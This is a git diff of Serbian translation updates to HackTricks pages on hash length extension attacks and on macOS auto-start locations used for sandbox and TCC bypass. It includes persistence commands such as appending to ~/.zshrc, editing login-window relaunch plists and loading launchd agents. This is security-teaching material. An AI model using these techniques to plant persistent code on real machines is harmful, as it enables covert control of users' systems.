mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['crypto-and-stego/hash-length-extension-attack.md', 'cryptog
This commit is contained in:
parent
4a5a81842e
commit
85abfcae4e
8 changed files with 791 additions and 574 deletions
|
@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -30,22 +30,22 @@ Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno
|
|||
|
||||
## Rezime napada
|
||||
|
||||
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu vrednost** nekim poznatim čistim tekstualnim podacima, a zatim hešira te podatke. Ako znate:
|
||||
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** neki **tajni ključ** na neke poznate čiste tekstualne podatke, a zatim hešira te podatke. Ako znate:
|
||||
|
||||
* **Dužinu tajne** (ovo takođe može biti probijeno iz datog opsega dužine)
|
||||
* **Dužinu tajnog ključa** (ovo takođe može biti probijeno iz datog opsega dužine)
|
||||
* **Čiste tekstualne podatke**
|
||||
* **Algoritam (i ranjiv je na ovaj napad)**
|
||||
* **Padding je poznat**
|
||||
* Obično se koristi podrazumevani, pa ako su ispunjeni i ostali zahtevi, i ovaj je
|
||||
* Padding varira u zavisnosti od dužine tajne+podataka, zbog čega je potrebna dužina tajne
|
||||
* Padding varira u zavisnosti od dužine tajnog ključa+podataka, zbog čega je potrebna dužina tajnog ključa
|
||||
|
||||
Onda je moguće da **napadač** **doda** **podatke** i **generiše** validan **potpis** za **prethodne podatke + dodate podatke**.
|
||||
|
||||
### Kako?
|
||||
|
||||
Osnovno, ranjivi algoritmi generišu hešove tako što prvo **heširaju blok podataka**, a zatim, **iz** **prethodno** kreiranog **heša** (stanja), dodaju **sledeći blok podataka** i **heširaju ga**.
|
||||
Osnovno, ranjivi algoritmi generišu hešove tako što prvo **heširaju blok podataka**, a zatim, **iz** prethodno kreiranog **heša** (stanja), dodaju **sledeći blok podataka** i **heširaju ga**.
|
||||
|
||||
Zatim, zamislite da je tajna "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Zamislite da je tajni ključ "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Ako napadač želi da doda string "dodatak" može:
|
||||
|
||||
* Generisati MD5 od 64 "A"
|
||||
|
@ -59,7 +59,7 @@ Ako napadač želi da doda string "dodatak" može:
|
|||
|
||||
### Reference
|
||||
|
||||
Ovaj napad možete pronaći dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
Možete pronaći ovaj napad dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
|
@ -81,7 +81,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
|
|
@ -4,39 +4,39 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Rezime napada
|
||||
# Sumiranje napada
|
||||
|
||||
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** tajni ključ na neke poznate čiste tekstualne podatke, a zatim hešira te podatke. Ako znate:
|
||||
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu vrednost** nekim poznatim čistim tekstualnim podacima, a zatim hešira te podatke. Ako znate:
|
||||
|
||||
* **Dužinu tajnog ključa** (ovo se takođe može probiti iz datog opsega dužine)
|
||||
* **Dužinu tajne** (ovo takođe može biti probijeno iz datog opsega dužine)
|
||||
* **Čiste tekstualne podatke**
|
||||
* **Algoritam (i da je ranjiv na ovaj napad)**
|
||||
* **Algoritam (i ranjiv je na ovaj napad)**
|
||||
* **Padding je poznat**
|
||||
* Obično se koristi podrazumevani, pa ako su ispunjena i prethodna 3 zahteva, ovo takođe važi
|
||||
* Padding varira u zavisnosti od dužine tajnog ključa+podataka, zbog čega je potrebna dužina tajnog ključa
|
||||
* Obično se koristi podrazumevani, pa ako su ispunjeni i ostali zahtevi, i ovaj je
|
||||
* Padding varira u zavisnosti od dužine tajne+podataka, zbog čega je potrebna dužina tajne
|
||||
|
||||
Tada je moguće da **napadač** doda **podatke** i **generiše** validan **potpis** za **prethodne podatke + dodate podatke**.
|
||||
Onda je moguće da **napadač** **doda** **podatke** i **generiše** validan **potpis** za **prethodne podatke + dodate podatke**.
|
||||
|
||||
## Kako?
|
||||
|
||||
Osnovno ranjivi algoritmi generišu hešove tako što prvo **heširaju blok podataka**, a zatim, **iz** prethodno **kreiranog** heša (stanja), **dodaju sledeći blok podataka** i **heširaju ga**.
|
||||
Osnovno, ranjivi algoritmi generišu hešove tako što prvo **heširaju blok podataka**, a zatim, **iz** prethodno kreiranog **heša** (stanja), dodaju **sledeći blok podataka** i **heširaju ga**.
|
||||
|
||||
Zamislite da je tajni ključ "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Zatim, zamislite da je tajna "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Ako napadač želi da doda string "dodatak" može:
|
||||
|
||||
* Generisati MD5 od 64 "A"-a
|
||||
* Promeniti stanje prethodno inicijalizovanog heša na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Generisati MD5 od 64 "A"
|
||||
* Promeniti stanje prethodno inicijalizovanog heša u 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Dodati string "dodatak"
|
||||
* Završiti heširanje i rezultujući heš će biti **validan za "tajna" + "podaci" + "padding" + "dodatak"**
|
||||
* Završiti heš i rezultujući heš će biti **validan za "tajna" + "podaci" + "padding" + "dodatak"**
|
||||
|
||||
## **Alat**
|
||||
|
||||
|
@ -44,7 +44,7 @@ Ako napadač želi da doda string "dodatak" može:
|
|||
|
||||
## Reference
|
||||
|
||||
Ovaj napad je dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
Ovaj napad možete pronaći dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
|
||||
<details>
|
||||
|
@ -53,10 +53,10 @@ Ovaj napad je dobro objašnjen na [https://blog.skullsecurity.org/2012/everythin
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,20 +6,20 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
Ova sekcija je temeljena na blog serijalu [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), cilj je dodati **više lokacija za automatsko pokretanje** (ako je moguće), naznačiti **koje tehnike još uvek funkcionišu** danas sa najnovijom verzijom macOS-a (13.4) i specificirati **potrebne dozvole**.
|
||||
Ova sekcija je temeljena na blog serijalu [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), cilj je dodati **više lokacija za automatsko pokretanje** (ukoliko je moguće), naznačiti **koje tehnike još uvek funkcionišu** danas sa najnovijom verzijom macOS-a (13.4) i specificirati **potrebne dozvole**.
|
||||
|
||||
## Bypassovanje Peska
|
||||
|
||||
{% hint style="success" %}
|
||||
Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** što vam omogućava da jednostavno izvršite nešto tako što to **upišete u fajl** i **sačekate** za vrlo **uobičajenu** **akciju**, određeno **vreme** ili **akciju koju obično možete izvršiti** iz peska bez potrebe za root dozvolama.
|
||||
Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u fajl** i **sačekate** za vrlo **uobičajenu** **akciju**, određeni **period vremena** ili **akciju koju obično možete izvršiti** unutar peska bez potrebe za root dozvolama.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -30,27 +30,33 @@ Ovde možete pronaći lokacije za pokretanje korisne za **bypassovanje peska**
|
|||
#### Lokacije
|
||||
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **Okidač**: Restartovanje
|
||||
* Potrebno root
|
||||
* **Okidač**: Restart
|
||||
* Potrebno root pristup
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **Okidač**: Restartovanje
|
||||
* Potrebno root
|
||||
* **Okidač**: Restart
|
||||
* Potrebno root pristup
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **Okidač**: Restartovanje
|
||||
* Potrebno root
|
||||
* **Okidač**: Restart
|
||||
* Potrebno root pristup
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **Okidač**: Restartovanje
|
||||
* Potrebno root
|
||||
* **Okidač**: Restart
|
||||
* Potrebno root pristup
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **Okidač**: Ponovno prijavljivanje
|
||||
* **`~/Library/LaunchDemons`**
|
||||
* **Okidač**: Ponovno prijavljivanje
|
||||
|
||||
{% hint style="success" %}
|
||||
Kao zanimljivost, **`launchd`** ima ugrađenu listu svojstava u Mach-o sekciji `__Text.__config` koja sadrži druge dobro poznate servise koje `launchd` mora pokrenuti. Osim toga, ovi servisi mogu sadržati `RequireSuccess`, `RequireRun` i `RebootOnSuccess` što znači da moraju biti pokrenuti i uspešno završeni.
|
||||
|
||||
Naravno, ne mogu se menjati zbog potpisa koda.
|
||||
{% endhint %}
|
||||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
**`launchd`** je **prvi** **proces** koji se izvršava od strane OX S kernela pri pokretanju i poslednji koji se završava pri gašenju. Uvek bi trebao imati **PID 1**. Ovaj proces će **čitati i izvršavati** konfiguracije naznačene u **ASEP** **plistama** u:
|
||||
|
||||
* `/Library/LaunchAgents`: Agensi po korisniku instalirani od strane administratora
|
||||
* `/Library/LaunchAgents`: Agensi instalirani po korisniku od strane administratora
|
||||
* `/Library/LaunchDaemons`: Demoni na nivou sistema instalirani od strane administratora
|
||||
* `/System/Library/LaunchAgents`: Agensi po korisniku koje pruža Apple.
|
||||
* `/System/Library/LaunchDaemons`: Demoni na nivou sistema koje pruža Apple.
|
||||
|
@ -80,57 +86,79 @@ Kada se korisnik prijavi, plistovi smešteni u `/Users/$USER/Library/LaunchAgent
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje tehnologije za pomoć pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (videti [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer).
|
||||
Postoje slučajevi kada je **potrebno izvršiti agenta pre nego što se korisnik prijavi**, ovi se nazivaju **PreLoginAgents**. Na primer, ovo je korisno za pružanje asistivne tehnologije pri prijavi. Mogu se pronaći i u `/Library/LaunchAgents` (vidi [**ovde**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) primer).
|
||||
|
||||
{% hint style="info" %}
|
||||
Konfiguracioni fajlovi novih demona ili agenata će biti **učitani nakon sledećeg restarta ili korišćenjem** `launchctl load <target.plist>` Takođe je **moguće učitati .plist fajlove bez te ekstenzije** sa `launchctl -F <file>` (međutim, ti plist fajlovi neće biti automatski učitani nakon restarta).\
|
||||
Takođe je moguće **isključiti** ih sa `launchctl unload <target.plist>` (proces koji pokazuje na njega će biti završen).
|
||||
Takođe je moguće **isključiti** ih sa `launchctl unload <target.plist>` (proces koji pokazuje na njih će biti završen),
|
||||
|
||||
Da biste **osigurali** da ne postoji **ništa** (kao što je prekoračenje) **koje sprečava** **Agenta** ili **Demona** **da se pokrene**, pokrenite: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
Da **osigurate** da ne postoji **ništa** (kao što je prekoračenje) **koje sprečava** **Agenta** ili **Demona** **da se** **pokrene** pokrenite: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
Izlistajte sve agente i demone učitane od strane trenutnog korisnika:
|
||||
Izlistaj sve agente i demone učitane od strane trenutnog korisnika:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim fasciklama demona, **zadatak će se izvršiti kao korisnik** a ne kao root. Ovo može sprečiti neke napade na eskalaciju privilegija.
|
||||
Ako je plist u vlasništvu korisnika, čak i ako se nalazi u sistemskim folderima demona, **zadatak će biti izvršen kao korisnik** a ne kao root. Ovo može sprečiti neke napade na eskalaciju privilegija.
|
||||
{% endhint %}
|
||||
|
||||
### fajlovi za pokretanje ljuske
|
||||
#### Više informacija o launchd
|
||||
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
Objašnjenje (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
**`launchd`** je **prvi** proces režima korisnika koji se pokreće iz **jezgra**. Pokretanje procesa mora biti **uspešno** i on **ne sme izaći ili se srušiti**. Čak je i **zaštićen** od nekih **signala za ubijanje**.
|
||||
|
||||
Jedna od prvih stvari koje bi `launchd` uradio bilo bi da **pokrene** sve **demone** kao što su:
|
||||
|
||||
* **Demoni tajmera** zasnovani na vremenu za izvršenje:
|
||||
* atd (`com.apple.atrun.plist`): Ima `StartInterval` od 30 minuta
|
||||
* crond (`com.apple.systemstats.daily.plist`): Ima `StartCalendarInterval` da se pokrene u 00:15
|
||||
* **Mrežni demoni** poput:
|
||||
* `org.cups.cups-lpd`: Sluša na TCP-u (`SockType: stream`) sa `SockServiceName: printer`
|
||||
*  SockServiceName mora biti ili port ili usluga iz `/etc/services`
|
||||
* `com.apple.xscertd.plist`: Sluša na TCP-u na portu 1640
|
||||
* **Demoni putanje** koji se izvršavaju kada se promeni određena putanja:
|
||||
* `com.apple.postfix.master`: Proverava putanju `/etc/postfix/aliases`
|
||||
* **IOKit obaveštenja demona**:
|
||||
* `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
|
||||
* **Mach port:**
|
||||
* `com.apple.xscertd-helper.plist`: Označava u unosu `MachServices` ime `com.apple.xscertd.helper`
|
||||
* **UserEventAgent:**
|
||||
* Ovo je drugačije od prethodnog. Pravi da launchd pokrene aplikacije kao odgovor na određeni događaj. Međutim, u ovom slučaju, glavni binarni fajl uključen nije `launchd` već `/usr/libexec/UserEventAgent`. Učitava dodatke iz SIP restrikovanog foldera /System/Library/UserEventPlugins/ gde svaki dodatak pokazuje svoj inicijalizator u ključu `XPCEventModuleInitializer` ili, u slučaju starijih dodataka, u rečniku `CFPluginFactories` pod ključem `FB86416D-6164-2070-726F-70735C216EC0` svog `Info.plist`.
|
||||
|
||||
### Datoteke pokretanja ljuske
|
||||
|
||||
Analiza: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
Analiza (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC Bypass: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali morate pronaći aplikaciju sa TCC zaobilaženjem koja izvršava ljusku koja učitava ove fajlove
|
||||
* TCC Zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali morate pronaći aplikaciju sa TCC zaobilaženjem koja izvršava ljusku koja učitava ove datoteke
|
||||
|
||||
#### Lokacije
|
||||
|
||||
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
|
||||
* **Okidač**: Otvorite terminal sa zsh
|
||||
* **Okidač**: Otvorite terminal sa zsh
|
||||
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
||||
* **Okidač**: Otvorite terminal sa zsh
|
||||
* Potreban je root
|
||||
* **Okidač**: Otvorite terminal sa zsh
|
||||
* Potreban je root
|
||||
* **`~/.zlogout`**
|
||||
* **Okidač**: Izlaz iz terminala sa zsh
|
||||
* **Okidač**: Izlaz iz terminala sa zsh
|
||||
* **`/etc/zlogout`**
|
||||
* **Okidač**: Izlaz iz terminala sa zsh
|
||||
* Potreban je root
|
||||
* **Okidač**: Izlaz iz terminala sa zsh
|
||||
* Potreban je root
|
||||
* Potencijalno više u: **`man zsh`**
|
||||
* **`~/.bashrc`**
|
||||
* **Okidač**: Otvorite terminal sa bash
|
||||
* **Okidač**: Otvorite terminal sa bash
|
||||
* `/etc/profile` (nije radilo)
|
||||
* `~/.profile` (nije radilo)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **Okidač**: Očekuje se da se pokrene sa xterm, ali **nije instaliran** i čak nakon instalacije javlja se greška: xterm: `DISPLAY is not set`
|
||||
* **Okidač**: Očekuje se da se pokrene sa xtermom, ali **nije instaliran** i čak nakon instalacije javlja se greška: xterm: `DISPLAY is not set`
|
||||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Prilikom pokretanja okruženja ljuske kao što su `zsh` ili `bash`, **određeni fajlovi za pokretanje se izvršavaju**. macOS trenutno koristi `/bin/zsh` kao podrazumevanu ljusku. Ova ljuska se automatski pristupa kada se pokrene aplikacija Terminal ili kada se uređaj pristupa putem SSH. Iako su `bash` i `sh` takođe prisutni u macOS-u, moraju se eksplicitno pozvati da bi se koristili.
|
||||
Prilikom pokretanja okruženja ljuske poput `zsh` ili `bash`, **određene datoteke pokretanja se izvršavaju**. macOS trenutno koristi `/bin/zsh` kao podrazumevanu ljusku. Ova ljuska se automatski pristupa kada se pokrene aplikacija Terminal ili kada se uređaj pristupi putem SSH-a. Iako su `bash` i `sh` takođe prisutni u macOS-u, moraju se eksplicitno pozvati da bi se koristili.
|
||||
|
||||
Stranica za pomoć zsh-a, koju možemo pročitati sa **`man zsh`**, ima dugačak opis fajlova za pokretanje.
|
||||
Stranica za pomoć zsh, koju možemo pročitati sa **`man zsh`**, ima dugačak opis datoteka pokretanja.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -165,7 +193,7 @@ defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
|
|||
#or
|
||||
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
||||
```
|
||||
Da **dodate aplikaciju na ovu listu** možete koristiti:
|
||||
Da **dodate aplikaciju na ovaj spisak** možete koristiti:
|
||||
```bash
|
||||
# Adding iTerm2
|
||||
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
|
||||
|
@ -175,7 +203,7 @@ Da **dodate aplikaciju na ovu listu** možete koristiti:
|
|||
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
|
||||
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
||||
```
|
||||
### Podešavanja Terminala
|
||||
### Postavke Terminala
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
|
@ -188,13 +216,13 @@ Da **dodate aplikaciju na ovu listu** možete koristiti:
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
U **`~/Library/Preferences`** se čuvaju podešavanja korisnika u Aplikacijama. Neke od ovih postavki mogu sadržati konfiguraciju za **izvršavanje drugih aplikacija/skripti**.
|
||||
U **`~/Library/Preferences`** se čuvaju postavke korisnika u Aplikacijama. Neke od ovih postavki mogu sadržati konfiguraciju za **izvršavanje drugih aplikacija/skripti**.
|
||||
|
||||
Na primer, Terminal može izvršiti komandu pri pokretanju:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1148).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||
|
||||
Ovo podešavanje je prikazano u datoteci **`~/Library/Preferences/com.apple.Terminal.plist`** ovako:
|
||||
Ova konfiguracija se odražava u datoteci **`~/Library/Preferences/com.apple.Terminal.plist`** ovako:
|
||||
```bash
|
||||
[...]
|
||||
"Window Settings" => {
|
||||
|
@ -210,9 +238,9 @@ Ovo podešavanje je prikazano u datoteci **`~/Library/Preferences/com.apple.Term
|
|||
}
|
||||
[...]
|
||||
```
|
||||
Dakle, ako se plist datoteka postavki terminala u sistemu može prepisati, onda se **`open`** funkcionalnost može koristiti da se **otvori terminal i izvrši ta komanda**.
|
||||
Dakle, ako se plist datoteka postavki terminala u sistemu može prepisati, onda se **`open`** funkcionalnost može koristiti da **otvori terminal i izvrši tu komandu**.
|
||||
|
||||
To možete dodati sa komandne linije pomoću:
|
||||
Ovo možete dodati sa komandne linije pomoću:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -225,11 +253,11 @@ To možete dodati sa komandne linije pomoću:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Terminal Skripte / Druge ekstenzije fajlova
|
||||
### Terminalni skriptovi / Druge ekstenzije datoteka
|
||||
|
||||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Terminal koristi FDA dozvole korisnika koji ga koristi
|
||||
* Terminal koristi FDA dozvole ako ih korisnik koristi
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -238,9 +266,9 @@ To možete dodati sa komandne linije pomoću:
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Ako kreirate [**`.terminal`** skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) i otvorite ga, **Terminal aplikacija** će automatski biti pozvana da izvrši komande navedene unutar njega. Ako Terminal aplikacija ima posebne privilegije (kao što su TCC), vaša komanda će biti izvršena sa tim posebnim privilegijama.
|
||||
Ako kreirate [**`.terminal`** skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) i otvorite ga, **Terminal aplikacija** će automatski biti pozvana da izvrši komande navedene unutra. Ako Terminal aplikacija ima posebne privilegije (kao što su TCC), vaša komanda će biti izvršena sa tim posebnim privilegijama.
|
||||
|
||||
Probajte sa:
|
||||
